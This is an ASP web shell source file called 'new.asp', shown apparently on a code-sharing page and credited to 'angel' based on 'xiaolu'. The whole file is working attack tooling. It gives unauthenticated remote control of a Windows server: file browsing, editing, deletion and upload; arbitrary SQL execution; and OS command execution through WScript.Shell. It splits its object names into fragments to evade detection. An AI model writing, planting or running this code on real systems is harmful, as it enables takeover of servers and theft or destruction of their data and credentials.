📄 new.asp
字号:
<td bgcolor="#EEEEEE" colspan="2">
<%For Each thing in SSyss.Drives
Response.write "[<a href='" & rseb & "?d=ls.asp&path="&thing.DriveLetter&":&attrib=true'>"&thing.DriveLetter&":</a>]"
NEXT
set oScriptNet=Server.CreateObject("WS"+"cri"+"pt.Ne"+"twork")
%> User:<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %></td>
</tr>
<tr>
<td bgcolor="#EEEEEE" colspan="2">
<%if Request("attrib")="true" then
response.write "<a href='" & rseb & "?d=ls.asp'>切换到绝对路径</a>"
else
response.write "<a href='" & rseb & "?attrib=true&d=ls.asp'>切换到相对路径</a>"
end if
%> Rpath:<%=cpath%> | CDir:<%=lpath%></td>
</tr>
<form name="form1" method="post" action="<%=rseb%>?d=up.asp" target="_blank" enctype="multipart/form-data">
<tr><td bgcolor="#EEEEEE" colspan="2">
<input type="text" name="fname" size="20">
<input type="button" value="建文件" onclick="crf(form1.fname.value)">
<input type="button" value="建目录" onclick="crd(form1.fname.value)">
<input type="file" name="file1" style="width:150" value="">
<input type="text" name="filepath" value="<%=cpath%>">
<input type="hidden" name="act" value="upload">
<input type="hidden" name="upcount" value="1">
<input type="submit" value="上传">
<input type="button" onclick="window.open('<%=rseb%>?d=p.asp','_blank')" value="nfso">
<input type="button" onclick="window.open('<%=rseb%>?d=sql.asp','_blank')" value="sql">
</td>
</tr></form>
<tr>
<td width="180" valign="top" bgcolor="#DFEFFF"><%Call GetFolder()%>
</td>
<td width="590" valign="top" bgcolor="#E8F3FF"><%Call GetFile()%>
</td>
</tr>
</table>
<p align="center">Modified by angel Base on xiaolu</p>
</body>
</html>
<%case "e.asp"%>
<html>
<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb2312">
<title>edit</title>
<style>
<!--
table{font-size: 12px}
a{font-size: 12px; color: rgb(0,32,64); text-decoration: none }
a:hover{color: rgb(255,0,0); text-decoration: underline }
a:visited{color: rgb(128,0,0) }
-->
</style>
</head>
<body>
<%if request("op")="del" then
if Request("attrib")="true" then
wfile=Request("path")
else
wfile=server.mappath(Request("path"))
end if
Set thisfile = SSyss.GetFile(wfile)
thisfile.Delete True
Response.write "<script>alert('Del succ!');window.close();</script>"
else
if request("op")="copy" then
if Request("attrib")="true" then
wfile=Request("path")
dsfile=Request("dpath")
else
wfile=server.mappath(Request("path"))
dsfile=Server.MapPath(Request("dpath"))
end if
Set thisfile = SSyss.GetFile(wfile)
thisfile.copy dsfile
%>
<script language=vbscript>
msgbox "File:<%=wfile%>" & vbcrlf & "to:<%=dsfile%>" & vbcrlf & "Copy succ!"
window.close()
</script>
<%
else
if request.form("text")="" then
if Request("creat")<>"yes" then
if Request("attrib")="true" then
wfile=Request("path")
else
wfile=server.mappath(Request("path"))
end if
Set thisfile = SSyss.OpenTextFile(wfile, 1, False)
counter=0
thisline=thisfile.readall
thisfile.Close
set fs=nothing
end if
%>
<form method="POST" action="<%=rseb%>?d=e.asp">
<input type="hidden" name="attrib" value="<%=Request("attrib")%>">
<table border="0" width="760" cellpadding="0" align="center">
<tr>
<td width="100%">File:<input type="text" name="path" size="45" value="<%=Request("path")%>"> <input type="submit" value="Save" name="B1"><input type="reset" value="Reset" name="B2"></td>
</tr>
<tr>
<td width="100%"><textarea rows="30" name="text" cols="104"><%=editfilecontent(thisline)%></textarea></td>
</tr>
</table>
</form>
<%else
if Request("attrib")="true" then
wfile=Request("path")
else
wfile=server.mappath(Request("path"))
end if
Set outfile=SSyss.CreateTextFile(wfile)
outfile.WriteLine Request("text")
utfile.close
set fs=nothing
Response.write "<script>alert('Edit succ!');window.close();</script>"
end if
end if
end if
%>
</body>
</html>
<%case "edir.asp"
if request("op")="del" then
if Request("attrib")="true" then
wdir=Request("path")
else
wdir=server.mappath(Request("path"))
end if
SSyss.DeleteFolder wdir,True
Response.write "<script>alert('Del dir:" & replace(wdir,"\","\\") & " Succ!');window.close();</script>"
else
if request("op")="creat" then
if Request("attrib")="true" then
wdir=Request("path")
else
wdir=server.mappath(Request("path"))
end if
SSyss.CreateFolder wdir
Response.write "<script>alert('Create Dir:" & replace(wdir,"\","\\") & " succ!');window.close();</script>"
end if
end if
case "up.asp"
set upload=new upload_xlsf
if upload.form("filepath")="" then
HtmEnd "Input up path!"
set upload=nothing
response.end
else
formPath=upload.form("filepath")
if right(formPath,1)<>"/" then formPath=formPath&"/"
end if
for each formName in upload.objFile
set file=upload.file(formName)
if file.FileSize>0 then
file.SaveAs formPath & file.FileName
response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" Succ!<br>"
end if
set file=nothing
next
set upload=nothing
sub HtmEnd(Msg)
set upload=nothing
Response.write "UP Succ!"
response.end
end sub
case "sql.asp"
If trim(request.form("sqlcmd"))<>"" Then
password= trim(Request.form("pa"))
id=trim(Request.form("id"))
SqlLocalName=trim(Request.form("SqlLocalName"))
ku=trim(Request.form("ku"))
session("sqlu")=id
session("sqlp")=password
session("sqls")=SqlLocalName
session("sqlc")=trim(request.form("sqlcmd"))
session("sqlk")=ku
if SqlLocalName="" or SqlLocalName="sql server" then SqlLocalName="127.0.0.1"
set adoConn=Server.CreateObject("ADODB.Connection")
adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id&";Database="&ku&";Data Source ="&SqlLocalName
strQuery = session("sqlc")
set recResult = adoConn.Execute(strQuery)
if left(strQuery,4)="exec" or left(strQuery,6)="select" then
If NOT recResult.EOF Then
for i=0 to recResult.Fields.Count-1
strResultn=strResultn&"<td>"&recResult.Fields(i).Name&"</td>"
next
allre="<table border=1 cellspacing=0 cellpadding=4 style='font-size:12px'><tr bgcolor=#cccccc>"&strResultn&"</tr><tr bgcolor=#EEEEEE>"
Do While NOT recResult.EOF
for i=0 to recResult.Fields.Count-1
strResult = strResult &"<td>"& outcmd(recResult.Fields(i).value)&"</td>"
next
allre=allre&strResult&"</tr><tr bgcolor=#EEEEEE>"
strResult=""
recResult.MoveNext
Loop
allre=allre&"</tr></table>"
End if
end if
set recResult = Nothing
End if
set adoConn = Nothing
%>
<form name="form" method=post action="<%=rseb%>?d=sql.asp">
<table border=0 cellspacing=0 cellpadding=4 style='font-size:12px'>
<tr><td>
<input type="text" name="sqlcmd" size="80" value="<%=session("sqlc")%>"><br>
<input type="text" name="id" value="<%if session("sqlu")="" then%>Uid<%else%><%Response.Write session("sqlu") end if%>">
<input type="text" name="pa" value="<%if session("sqlp")="" then%>Pwd<%else%><%Response.Write session("sqlp") end if%>">
<input type="text" name="ku" value="<%if session("sqlk")="" then%>master<%else%><%Response.Write session("sqlk") end if%>">
<input type="text" name="SqlLocalName" size=30 value="<%if session("sqls")="" then%>sql server<%else%><%Response.Write session("sqls") end if%>">
<input type="submit" value="Exec">
</td></tr></table>
</form>
<%Response.Write request.form("sqlcmd") & "<br>"
Response.Write allre
case "p.asp"%>
<html>
<title>nfso</title>
<style>
<!--
BODY{FONT-SIZE: 12px}
TD{FONT-SIZE: 12px}
-->
</STYLE>
<body bgcolor="#F4F4F4">
<form action="<%= Request.ServerVariables("URL") %>?d=p.asp" name=qgcmd method="post">
<%response.write "Path:"&request.servervariables("APPL_PHYSICAL_PATH")%>
<table border=0 cellspacing=0 cellpadding=4>
<tr><td>Path: <input type=text name=text value="<%=ESnXA %>"> Browse dir</td></tr>
<tr><td>Copy: <input type=text name=text1 value="<%=ESnXA1 %>"> to <input type=text name=text2 value="<%=ESnXA2 %>"></td></tr>
<tr><td>Move: <input type=text name=text3 value="<%=ESnXA3 %>"> to <input type=text name=text4 value="<%=ESnXA4 %>"></td></tr>
<tr><td>Path: <input type=text name=text5 value="<%=ESnXA5 %>" > Prog: <input type=text name=text6 value="<%=ESnXA6 %>" > No parameters</td></tr>
<tr><td><input type="text" name="ok" size=55 value="<%=session("qg_cmd")%>"> Command</td></tr>
</table>
<input type=submit name=sb value=Send>
</form>
</body>
</html>
<%set oScript=Server.CreateObject("WSc"+"ri"+"pt.sh"+"ell")
ok=trim(Request("ok"))
if ok<>"" then
response.write "<script>parent.document.qgcmd.ok.value='"&replace(ok,"\","\\")&"';</script>"
set re=oScript.exec (ok)
re=re.stdout.readall
re=outcmd(re)
response.write re
end if
ESnXA = Request.Form("text")
if (ESnXA <> "") then
set shell=server.createobject("she"+"ll.app"+"lication")
set fod1=shell.namespace(ESnXA)
set foditems=fod1.items
for each co in foditems
response.write "<font color=black>" & co.path & "-----" & co.size & "</font><br>"
next
end if
ESnXA1 = Request.Form("text1")
ESnXA2 = Request.Form("text2")
if ESnXA1<>"" and ESnXA2<>"" then
set shell1=server.createobject("she"+"ll.app"+"lication")
set fod1=shell1.namespace(ESnXA2)
for i=len(ESnXA1) to 1 step -1
if mid(ESnXA1,i,1)="\" then
path=left(ESnXA1,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(ESnXA1,len(ESnXA1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command success!"
end if
ESnXA3 = Request.Form("text3")
ESnXA4 = Request.Form("text4")
if ESnXA3<>"" and ESnXA4<>"" then
set shell2=server.createobject("she"+"ll.app"+"lication")
set fod1=shell2.namespace(ESnXA4)
for i=len(ESnXA3) to 1 step -1
if mid(ESnXA3,i,1)="\" then
path=left(ESnXA3,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(ESnXA3,len(ESnXA3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
ESnXA5 = Request.Form("text5")
ESnXA6 = Request.Form("text6")
if ESnXA5<>"" and ESnXA6<>"" then
set shell3=server.createobject("she"+"ll.app"+"lication")
shell3.namespace(ESnXA5).items.item(ESnXA6).invokeverb
response.write "command completed success!"
end if
end select
function outcmd(Re)
Re = Replace(Re," "," ")
Re = Replace(Re,"<","<")
Re = Replace(Re,">",">")
Re = Replace(Re,chr(13),"<br>")
outcmd=re
end function
function editfilecontent(Re)
Re = Replace(Re,"<","<")
Re = Replace(Re,">",">")
editfilecontent=re
end function
%>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -